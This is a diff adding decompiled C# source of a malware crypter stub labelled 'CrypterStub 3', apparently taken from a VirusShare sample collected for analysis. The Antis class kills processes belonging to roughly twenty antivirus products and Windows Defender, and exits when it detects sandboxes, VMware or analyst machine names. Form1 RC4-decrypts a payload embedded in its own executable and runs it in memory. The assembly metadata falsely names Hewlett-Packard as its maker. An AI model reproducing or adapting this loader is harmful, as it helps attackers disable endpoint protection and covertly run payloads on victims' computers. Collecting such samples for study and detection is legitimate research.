auto-decompiled msil via petikvx

add

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/Antis.cs

@@ -0,0 +1,472 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.Antis
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace CrypterStub_3
+{
+  public class Antis
+  {
+    [DebuggerNonUserCode]
+    public Antis()
+    {
+    }
+
+    public static void Enable()
+    {
+      Antis.mofo();
+      Antis.AntiAntiGen();
+      Antis.AntiAsquared();
+      Antis.AntiAvast();
+      Antis.AntiAVG();
+      Antis.AntiBullGuard();
+      Antis.AntiClamAV();
+      Antis.AntiComodo();
+      Antis.AntiEstNod32();
+      Antis.AntiEwido();
+      Antis.AntiFPROT6();
+      Antis.AntiKaspersky();
+      Antis.AntiMcAfee();
+      Antis.AntiNorton();
+      Antis.AntiOfficeScan();
+      Antis.AntiOutPost();
+      Antis.AntiPCCillin();
+      Antis.AntiServerProtect();
+      Antis.AntiSpySweeper();
+      Antis.AntiThreatExpert();
+      Antis.AntiVirtualPC();
+      Antis.AntiZoneAlarm();
+    }
+
+    public static void AntiSandboxie(Form frmSelect)
+    {
+label_0:
+      int num1;
+      int num2;
+      try
+      {
+        ProjectData.ClearProjectError();
+        num1 = -2;
+label_1:
+        int num3 = 2;
+        if (!frmSelect.Text.Contains("#"))
+          goto label_9;
+label_2:
+        num3 = 3;
+        frmSelect.Close();
+        ProjectData.EndApp();
+        goto label_9;
+label_4:
+        num2 = num3;
+        switch (num1 > -2 ? num1 : 1)
+        {
+          case 1:
+            int num4 = num2 + 1;
+            num2 = 0;
+            switch (num4)
+            {
+              case 1:
+                goto label_0;
+              case 2:
+                goto label_1;
+              case 3:
+                goto label_2;
+              case 4:
+              case 5:
+              case 6:
+                goto label_9;
+            }
+            break;
+        }
+      }
+      catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
+      {
+        ProjectData.SetProjectError(ex);
+        goto label_4;
+      }
+      throw ProjectData.CreateProjectError(-2146828237);
+label_9:
+      if (num2 == 0)
+        return;
+      ProjectData.ClearProjectError();
+    }
+
+    public static void AntiMcAfee()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mcagentmcuimgr", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAVG()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "avgemc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAsquared()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "a2servic", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAvast()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ashWebSv", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiClamAV()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "clamauto", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiComodo()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "cpf", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiEwido()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ewido", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiFPROT6()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "FPAVServer", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiKaspersky()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "kavsvc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiBullGuard()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "BullGuard", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiZoneAlarm()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "VSMON", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAntiGen()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "antigen", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiNorton()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ccapp", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiOfficeScan()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "tmlisten", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiPCCillin()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "pccntmon", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiServerProtect()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "earthagent", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiSpySweeper()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "spysweeper", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiVirtualPC()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "vpcmapvmsrvc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiOutPost()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "acs.exe", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiEstNod32()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "nod32.exenod32krn.exeekrn.exe", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    [DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)]
+    private static extern long FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName);
+
+    public static void mofo()
+    {
+      Antis.seekit("MSASCui");
+      Antis.seekit("msmpeng");
+      Antis.AntiSandboxie();
+      Antis.IsVmWare();
+      Antis.AntiThreatExpert();
+      Antis.checkUsername();
+      Antis.checkComputername();
+    }
+
+    private static void seekit(string gay1)
+    {
+      Process[] processes = Process.GetProcesses();
+      int index = 0;
+      while (index < processes.Length)
+      {
+        Process process = processes[index];
+        if (process.ProcessName.Contains(gay1))
+        {
+          try
+          {
+            process.Kill();
+          }
+          catch (Exception ex)
+          {
+            ProjectData.SetProjectError(ex);
+            ProjectData.ClearProjectError();
+          }
+        }
+        checked { ++index; }
+      }
+    }
+
+    private static void checkUsername()
+    {
+      List<string> stringList = new List<string>();
+      stringList.Add("UserName");
+      stringList.Add("User");
+      stringList.Add("honey");
+      stringList.Add("sandbox");
+      stringList.Add("currentuser");
+      stringList.Add("User");
+      try
+      {
+        foreach (string Right in stringList)
+        {
+          if (Operators.CompareString(Environment.UserName, Right, false) == 0)
+            Environment.Exit(0);
+        }
+      }
+      finally
+      {
+        List<string>.Enumerator enumerator;
+        enumerator.Dispose();
+      }
+    }
+
+    private static void checkComputername()
+    {
+      List<string> stringList = new List<string>();
+      stringList.Add("ComputerName");
+      stringList.Add("COMPUTERNAME");
+      stringList.Add("DELL-D3E62F7E26");
+      stringList.Add("DWI-9625AC2E275");
+      stringList.Add("MICHAEL-F156CF7");
+      try
+      {
+        foreach (string Right in stringList)
+        {
+          if (Operators.CompareString(Environment.MachineName, Right, false) == 0)
+            Environment.Exit(0);
+        }
+      }
+      finally
+      {
+        List<string>.Enumerator enumerator;
+        enumerator.Dispose();
+      }
+    }
+
+    public static void AntiSandboxie()
+    {
+      if (Process.GetProcessesByName("SbieSvc").Length < 1)
+        return;
+      Environment.Exit(0);
+    }
+
+    public static void IsVmWare()
+    {
+      string str1 = "VMDragDetectWndClass";
+      ref string local1 = ref str1;
+      string str2 = (string) null;
+      ref string local2 = ref str2;
+      if (Antis.FindWindow(ref local1, ref local2) != 0L)
+        return;
+      Environment.Exit(0);
+    }
+
+    private static void AntiThreatExpert()
+    {
+      if (!Process.GetCurrentProcess().MainModule.FileName.Contains("sample"))
+        return;
+      Environment.Exit(0);
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyProduct("CrypterStub 3")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyTitle("CrypterStub 3")]
+[assembly: AssemblyCompany("Hewlett-Packard")]
+[assembly: Guid("c219cd53-5179-42e0-bb74-5b297c74ecd1")]
+[assembly: AssemblyCopyright("Copyright © Hewlett-Packard 2010")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/Form1.cs

@@ -0,0 +1,152 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.Form1
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Drawing;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace CrypterStub_3
+{
+  [DesignerGenerated]
+  public class Form1 : Form
+  {
+    private IContainer components;
+
+    [DebuggerNonUserCode]
+    public Form1()
+    {
+      this.Load += new EventHandler(this.Form1_Load);
+      this.InitializeComponent();
+    }
+
+    [DebuggerNonUserCode]
+    protected override void Dispose(bool disposing)
+    {
+      try
+      {
+        if (!disposing || this.components == null)
+          return;
+        this.components.Dispose();
+      }
+      finally
+      {
+        base.Dispose(disposing);
+      }
+    }
+
+    [DebuggerStepThrough]
+    private void InitializeComponent()
+    {
+      this.SuspendLayout();
+      this.AutoScaleDimensions = new SizeF(6f, 13f);
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.ClientSize = new Size(10, 10);
+      this.FormBorderStyle = FormBorderStyle.None;
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.Name = nameof (Form1);
+      this.Opacity = 0.0;
+      this.ShowIcon = false;
+      this.ShowInTaskbar = false;
+      this.StartPosition = FormStartPosition.Manual;
+      this.ResumeLayout(false);
+    }
+
+    private byte[] StringToByteArray(string str) => new ASCIIEncoding().GetBytes(str);
+
+    private void RunFromMemory(byte[] bytes)
+    {
+      Assembly assembly = Assembly.Load(bytes);
+      MethodInfo entryPoint = assembly.EntryPoint;
+      object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name))));
+      entryPoint.Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue))), new object[1]
+      {
+        (object) new string[1]{ "1" }
+      });
+    }
+
+    public static byte[] RC4EnDeCrypt(byte[] plaintxt, byte[] password)
+    {
+      byte[] numArray = new byte[checked (plaintxt.Length + 1)];
+      int[] sbox = new int[257];
+      int index1 = 0;
+      int index2 = 0;
+      Form1.RC4Initialize(password, ref sbox);
+      int num1 = checked (plaintxt.Length - 1);
+      int index3 = 0;
+      while (index3 <= num1)
+      {
+        index1 = checked (index1 + 1) % 256;
+        index2 = checked (index2 + sbox[index1]) % 256;
+        int num2 = sbox[index1];
+        sbox[index1] = sbox[index2];
+        sbox[index2] = num2;
+        int num3 = sbox[checked (sbox[index1] + sbox[index2]) % 256];
+        plaintxt[index3] = (byte) ((int) plaintxt[index3] ^ (int) Convert.ToByte(num3));
+        checked { ++index3; }
+      }
+      return plaintxt;
+    }
+
+    protected static void RC4Initialize(byte[] key, ref int[] sbox)
+    {
+      int length = key.Length;
+      int index1 = 0;
+      do
+      {
+        sbox[index1] = index1;
+        checked { ++index1; }
+      }
+      while (index1 <= (int) byte.MaxValue);
+      int index2 = 0;
+      int index3 = 0;
+      do
+      {
+        index2 = checked (index2 + sbox[index3] + (int) key[unchecked (index3 % length)]) % 256;
+        int num = sbox[index3];
+        sbox[index3] = sbox[index2];
+        sbox[index2] = num;
+        checked { ++index3; }
+      }
+      while (index3 <= (int) byte.MaxValue);
+    }
+
+    private void Form1_Load(object sender, EventArgs e)
+    {
+      string Delimiter = "~~||$CyCrYpTeR$||~~";
+      FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
+      string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
+      FileSystem.FileGet(1, ref Expression);
+      FileSystem.FileClose(1);
+      try
+      {
+        string[] strArray = Strings.Split(Expression, Delimiter);
+        string s = strArray[1];
+        byte[] bytes = Encoding.ASCII.GetBytes(strArray[2]);
+        if (Operators.CompareString(strArray[3], "true", false) == 0)
+          Antis.Enable();
+        byte[] parameter = Form1.RC4EnDeCrypt(Convert.FromBase64String(s), bytes);
+        Thread thread = new Thread((ParameterizedThreadStart) (a0 => this.RunFromMemory((byte[]) a0)));
+        thread.TrySetApartmentState(ApartmentState.STA);
+        thread.Start((object) parameter);
+        this.Close();
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/Form1.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/My/MyApplication.cs

@@ -0,0 +1,48 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyApplication
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace CrypterStub_3.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerHidden]
+    [STAThread]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = true;
+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyComputer
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace CrypterStub_3.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyComputer : Computer
+  {
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/My/MyProject.cs

@@ -0,0 +1,212 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyProject
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace CrypterStub_3.My
+{
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [DebuggerNonUserCode]
+    static MyProject()
+    {
+    }
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyForms
+    {
+      public Form1 m_Form1;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      public Form1 Form1
+      {
+        [DebuggerNonUserCode] get
+        {
+          this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
+          return this.m_Form1;
+        }
+        [DebuggerNonUserCode] set
+        {
+          if (value == this.m_Form1)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<Form1>(ref this.m_Form1);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
